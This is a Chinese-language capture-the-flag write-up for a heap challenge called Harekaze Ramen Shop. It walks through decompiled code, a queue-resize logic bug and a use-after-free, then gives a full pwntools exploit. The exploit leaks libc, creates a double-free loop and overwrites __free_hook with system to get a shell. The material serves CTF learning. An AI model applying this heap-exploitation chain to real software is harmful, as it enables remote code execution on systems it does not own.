看exp再慢慢消化。逻辑错造成的指针溢出。
这个题虽然有UAF但是利用起来很困难,本来不想看那么长的程序,没办法看程序再看了exp后才明白。
程序分主程序和order,serv,change 三个函数,主程序没啥内容,但是循环队列的指针v4放在这了。v4依次表示队列块指针,头id,尾id和总长度。
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
char v4[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
sub_B34(a1, a2, a3);
sub_D2F((__int64)v4);
puts("Welcome to Harekaze Ramen Shop!!");
while ( 1 )
{
v3 = menu();
switch ( v3 )
{
case 2:
m2serve(v4); // 输出并free name
break;
case 3:
m3change(v4); // 改变窗口大小 2** 最大31
break;
case 1:
m1order(v4); // 订单
break;
}
}
}
order就是新增订单:
内容有点长,然后一点点加注释也就明白了。每次加订单会在尾指针处写入订单信息,然后尾指针后移(空尾)。
unsigned __int64 __fastcall sub_11A3(__int64 a1)
{
_QWORD *v1; // rcx
__int64 v2; // rdx
void *v3; // rdx
int v5; // [rsp+1Ch] [rbp-44h]
__int64 v6; // [rsp+20h] [rbp-40h]
__int64 v7; // [rsp+28h] [rbp-38h]
__int64 v8; // [rsp+30h] [rbp-30h]
__int64 v9[2]; // [rsp+38h] [rbp-28h] BYREF
void *s; // [rsp+48h] [rbp-18h]
unsigned __int64 v11; // [rsp+58h] [rbp-8h]
v11 = __readfsqword(0x28u);
if ( (*(_DWORD *)(a1 + 12) + *(_DWORD *)(a1 + 16) - *(_DWORD *)(a1 + 8)) % *(_DWORD *)(a1 + 16) == *(_DWORD *)(a1 + 16) - 1 )
{
puts("Seats are full."); // end+total - (end%total) == total -1 :空间满
}
else
{
v5 = sub_CC8();
if ( v5 > 0 && v5 <= 5 ) // 用哪个串无意义,pork的位置伪造chunk头
{
memset(v9, 0, sizeof(v9));
strcpy((char *)v9, &aSoySauce[16 * v5 - 16]);
printf("How many eggs? ");
v6 = getnum();
printf("How many grilled pork? ");
v7 = getnum();
printf("How many bamboo shoots? ");
v8 = getnum();
printf("If you want other toppings, put them down: ");
s = malloc(0x20uLL);
memset(s, 0, 0x20uLL);
readstr(s, 32LL);
v1 = (_QWORD *)(48LL * *(int *)(a1 + 12) + *(_QWORD *)a1);// 在空尾写入,尾指针+1
*v1 = v6;
v1[1] = v7;
v2 = v9[0];
v1[2] = v8;
v1[3] = v2;
v3 = s;
v1[4] = v9[1];
v1[5] = v3;
*(_DWORD *)(a1 + 12) = (*(_DWORD *)(a1 + 12) + 1) % *(_DWORD *)(a1 + 16);// 更新尾指针 尾 = (尾+1)%total
puts("Done.");
}
else
{
puts("Invalid choice.");
}
}
return __readfsqword(0x28u) ^ v11;
}
serve是处理订单:
这里引入的名字块会被free但指针保留,不过这个指针由于头指针已经发生变化,这个不能直接用。
int __fastcall m2serve(__int64 a1)
{
__int64 v2; // [rsp+18h] [rbp-8h]
if ( *(_DWORD *)(a1 + 8) == *(_DWORD *)(a1 + 12) )// 头==尾, 队列空
return puts("No order remains.");
v2 = *(_QWORD *)a1 + 48LL * *(int *)(a1 + 8); // 输出头块
*(_DWORD *)(a1 + 8) = (*(_DWORD *)(a1 + 8) + 1) % *(_DWORD *)(a1 + 16);// 指针后移
printf("Serving %s Ramen...\n", (const char *)(v2 + 24));
printf("Eggs: %d\n", (unsigned int)*(_QWORD *)v2);
printf("Grilled pork: %d\n", (unsigned int)*(_QWORD *)(v2 + 8));
printf("Bamboo shoots: %d\n", (unsigned int)*(_QWORD *)(v2 + 16));
printf("Other toppings: %s\n", *(const char **)(v2 + 40));
free(*(void **)(v2 + 40)); // 删除头块对应堆块,但不删除指针,当指针错误地指向删除块时可使用UAF
return puts("Done.");
}
第3个change是变更队列空间:
并调用变大和变小两个函数。>=时调用变大,由于=时也会调用变大,漏洞就出来了。
当变大里会把原数据重复制一下,这里有个漏洞:当新空间与原空间相同时也会执行尾部后移操作,这样尾部就移出了空间造成溢出。通过移出的这个块写size为指定值来覆盖原chunk在释放时会将块数据部分改为unsortbin的fd,bk指针。
int __fastcall m3change(_DWORD *a1)
{
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]
printf("Number of seats: ");
v2 = getnum() + 1;
if ( v2 <= 1 || v2 > 32 )
return puts("Invalid input.");
v3 = getbitord(v2);
if ( v2 >= a1[4] )
{
change_big((__int64)a1, v3); // 原大小是8,最大可变成32(2**5)realloc
}
else
{
if ( v2 <= (a1[3] + a1[4] - a1[2]) % a1[4] )// 新大小不能小于已有订单数
return printf("Less than the number of remaining orders.");
chanage_small((__int64)a1, v3); // realloc 清空无用订单,缩小块
}
return puts("Done.");
}
__int64 __fastcall change_big(__int64 a1, int a2)
{
__int64 result; // rax
_QWORD *v3; // rsi
_QWORD *v4; // rcx
__int64 v5; // rdx
__int64 v6; // rdx
__int64 v7; // rdx
_QWORD *v8; // rsi
_QWORD *v9; // rcx
__int64 v10; // rdx
__int64 v11; // rdx
__int64 v12; // rdx
int j; // [rsp+18h] [rbp-18h]
int i; // [rsp+1Ch] [rbp-14h]
unsigned int i_head; // [rsp+20h] [rbp-10h]
int i_tail; // [rsp+24h] [rbp-Ch]
int i_total; // [rsp+28h] [rbp-8h]
int i_add; // [rsp+2Ch] [rbp-4h]
// 当size不变时也会进入此函数
i_head = *(_DWORD *)(a1 + 8); // 头
i_tail = *(_DWORD *)(a1 + 12); // 尾
i_total = *(_DWORD *)(a1 + 16); // 总数
*(_QWORD *)a1 = realloc(*(void **)a1, 48LL * a2);// 扩大原块
*(_DWORD *)(a1 + 16) = a2; // total = 新大小
result = i_head;
if ( (int)i_head > i_tail ) // 头在尾前 ooT....Hoo
{
if ( i_tail >= (int)(i_total - i_head) ) // 尾一半大于头一半
{
i_add = a2 - i_total; // 增加的空间块数
for ( i = i_head; i < i_total; ++i ) // 将头块后移到尾 [ooT...Ho]->[ooT...XXXXXXXXHo]
{
v8 = (_QWORD *)(*(_QWORD *)a1 + 48LL * i);
v9 = (_QWORD *)(48LL * (i + i_add) + *(_QWORD *)a1);
v10 = v8[1];
*v9 = *v8;
v9[1] = v10;
v11 = v8[3];
v9[2] = v8[2];
v9[3] = v11;
v12 = v8[5];
v9[4] = v8[4];
v9[5] = v12;
}
result = a1;
*(_DWORD *)(a1 + 8) += i_add;
}
else
{
for ( j = 0; j < i_tail; ++j ) // 头半块大,尾半块小[oT...Hoo]->[XX...HoooTXXXXX]
{ // 当size不变时,这里会把尾部向后复制,溢出数据区
v3 = (_QWORD *)(*(_QWORD *)a1 + 48LL * j);
v4 = (_QWORD *)(48LL * (j + i_total) + *(_QWORD *)a1);
v5 = v3[1];
*v4 = *v3;
v4[1] = v5;
v6 = v3[3];
v4[2] = v3[2];
v4[3] = v6;
v7 = v3[5];
v4[4] = v3[4];
v4[5] = v7;
}
result = a1;
*(_DWORD *)(a1 + 12) += i_total;
}
}
return result;
}
__int64 __fastcall chanage_small(__int64 a1, int new_size)
{
_QWORD *v2; // rsi
_QWORD *v3; // rcx
__int64 v4; // rdx
__int64 v5; // rdx
__int64 v6; // rdx
_QWORD *v7; // rsi
_QWORD *v8; // rcx
__int64 v9; // rdx
__int64 v10; // rdx
__int64 v11; // rdx
_QWORD *v12; // rsi
_QWORD *v13; // rcx
__int64 v14; // rdx
__int64 v15; // rdx
__int64 v16; // rdx
__int64 result; // rax
int v18; // [rsp+4h] [rbp-2Ch]
int k; // [rsp+14h] [rbp-1Ch]
int j; // [rsp+18h] [rbp-18h]
int i; // [rsp+1Ch] [rbp-14h]
int i_head; // [rsp+20h] [rbp-10h]
int i_tail; // [rsp+24h] [rbp-Ch]
int i_total; // [rsp+28h] [rbp-8h]
int v25; // [rsp+2Ch] [rbp-4h]
v18 = new_size;
i_head = *(_DWORD *)(a1 + 8); // 头
i_tail = *(_DWORD *)(a1 + 12); // 尾
i_total = *(_DWORD *)(a1 + 16); // 总数
if ( i_tail >= i_head ) // [...HoooT..]
{
if ( i_head < new_size )
{
if ( i_tail >= new_size ) // [...Hoo|oT....]-> [oT.Hoo]XXXXXXXX
{
for ( i = new_size; i < i_tail; ++i )
{
v12 = (_QWORD *)(*(_QWORD *)a1 + 48LL * i);
v13 = (_QWORD *)(48LL * (i - v18) + *(_QWORD *)a1);
v14 = v12[1];
*v13 = *v12;
v13[1] = v14;
v15 = v12[3];
v13[2] = v12[2];
v13[3] = v15;
v16 = v12[5];
v13[4] = v12[4];
v13[5] = v16;
}
*(_DWORD *)(a1 + 12) -= v18;
}
}
else // [........|.HoooT..] -> [HoooT...]XXXXXXXX
{
for ( j = *(_DWORD *)(a1 + 8); j < i_tail; ++j )
{
v7 = (_QWORD *)(*(_QWORD *)a1 + 48LL * j);
v8 = (_QWORD *)(48LL * (j - i_head) + *(_QWORD *)a1);
v9 = v7[1];
*v8 = *v7;
v8[1] = v9;
v10 = v7[3];
v8[2] = v7[2];
v8[3] = v10;
v11 = v7[5];
v8[4] = v7[4];
v8[5] = v11;
}
*(_DWORD *)(a1 + 12) -= *(_DWORD *)(a1 + 8);
*(_DWORD *)(a1 + 8) = 0;
}
}
else // 尾在前 [oT......|.....Hoo]->[oT...Hoo]XXXXXXXX
{
v25 = i_total - new_size;
for ( k = *(_DWORD *)(a1 + 8); k < i_total; ++k )
{
v2 = (_QWORD *)(*(_QWORD *)a1 + 48LL * k);
v3 = (_QWORD *)(48LL * (k - v25) + *(_QWORD *)a1);
v4 = v2[1];
*v3 = *v2;
v3[1] = v4;
v5 = v2[3];
v3[2] = v2[2];
v3[3] = v5;
v6 = v2[5];
v3[4] = v2[4];
v3[5] = v6;
}
*(_DWORD *)(a1 + 8) -= v25;
}
*(_QWORD *)a1 = realloc(*(void **)a1, 48LL * v18);
result = a1;
*(_DWORD *)(a1 + 16) = v18;
return result;
}
利用有两次:
第一次先对原始空间扩大再缩小将多余部分放入unsort,再新增订单时会从这个unsort里分配,将块分布写成[T...Ho],这个块在change原大小时尾部的fork会被覆盖size在释放时被放入第2个unsort。再通过缩小块将块进行整理,将块数据复制到正常位置,serv时将其打印出来,得到libc。
第二次先将空间调回8,由于原空间大小不够会从第1个unsort里分配,同样将块写成头大尾小的样子在同大小change里将尾放到超过总长度的位置。这时候头是7,尾是8(占第9格)总数是8,当释放时将释放7,0,1...这样前边块里未清空的相同的指针被多次释放形成loop,利用这个loop新建块写system到_free_hook上。
原exp:
from pwn import *
'''
struct{egg:8,pork:8,shoots:8,flavor:16,ptr->topping}
gef➤ x/3wx 0x00007fffffffdf88 rsp+8,+12,+16
0x7fffffffdf88: 0x00000000 0x00000003 0x00000008
start end total
'''
def order(toppings=b'A', eggs=0, porks=0, bamboo_shoots=0, flavor=1):
s.sendlineafter(b'Choice: ', b'1')
s.sendlineafter(b'Choice: ', str(flavor).encode())
s.sendlineafter(b'eggs? ', str(eggs).encode())
s.sendlineafter(b'pork? ', str(porks).encode())
s.sendlineafter(b'shoots? ', str(bamboo_shoots).encode())
s.sendafter(b'down: ', toppings)
def serve():
s.sendlineafter(b'Choice: ', b'2')
s.recvuntil(b'Serving ')
name = s.recvuntil(b' ')[:-1]
s.recvuntil(b'Eggs: ')
eggs = int(s.recvline(False))
s.recvuntil(b'pork: ')
porks = int(s.recvline(False))
s.recvuntil(b'shoots: ')
bamboo_shoots = int(s.recvline(False))
s.recvuntil(b'toppings: ')
toppings = s.recvline(False)
return name, eggs, porks, bamboo_shoots, toppings
def change(num):
s.sendlineafter(b'Choice: ', b'3')
s.sendlineafter(b'seats: ', str(num).encode())
local = 1
if local == 1:
s = process('./pwn')
libc = ELF('/home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so')
else:
s = remote('node4.buuoj.cn', 28253)
libc = ELF('../libc6_2.27-3ubuntu1_amd64.so')
change(0x1f) # chunk0 0x190->0x610
for i in range(6): #add chunk 0x30 *6
order()
change(7) #chunk0 0x610->0x190 unsortbin 0x480
order() ##7 0x30 from 0x480
serve() #free #0
order() #add #0 head 0x30 pre_inuse=0
serve() #free #1
order(b'A', 0, 0x4b1) # #0
change(7) #chunk7 head = 0x4b1 chunk6->3f0 unsort 0x3e0 0x4b0
for i in range(5):
serve()
change(3)
serve()
libc_base = u64(serve()[0].ljust(8, b'\0')) - 0x60 -0x10 - libc.sym['__malloc_hook']
log.info('libc base: %#x' % libc_base)
change(7)
pause()
for i in range(0xd):
order()
serve()
order()
change(7)
for i in range(3):
serve()
change(0xf)
order(p64(libc_base + libc.symbols['__free_hook']))
order(b'/bin/sh\0')
order(p64(libc_base + libc.symbols['system']))
serve()
s.interactive()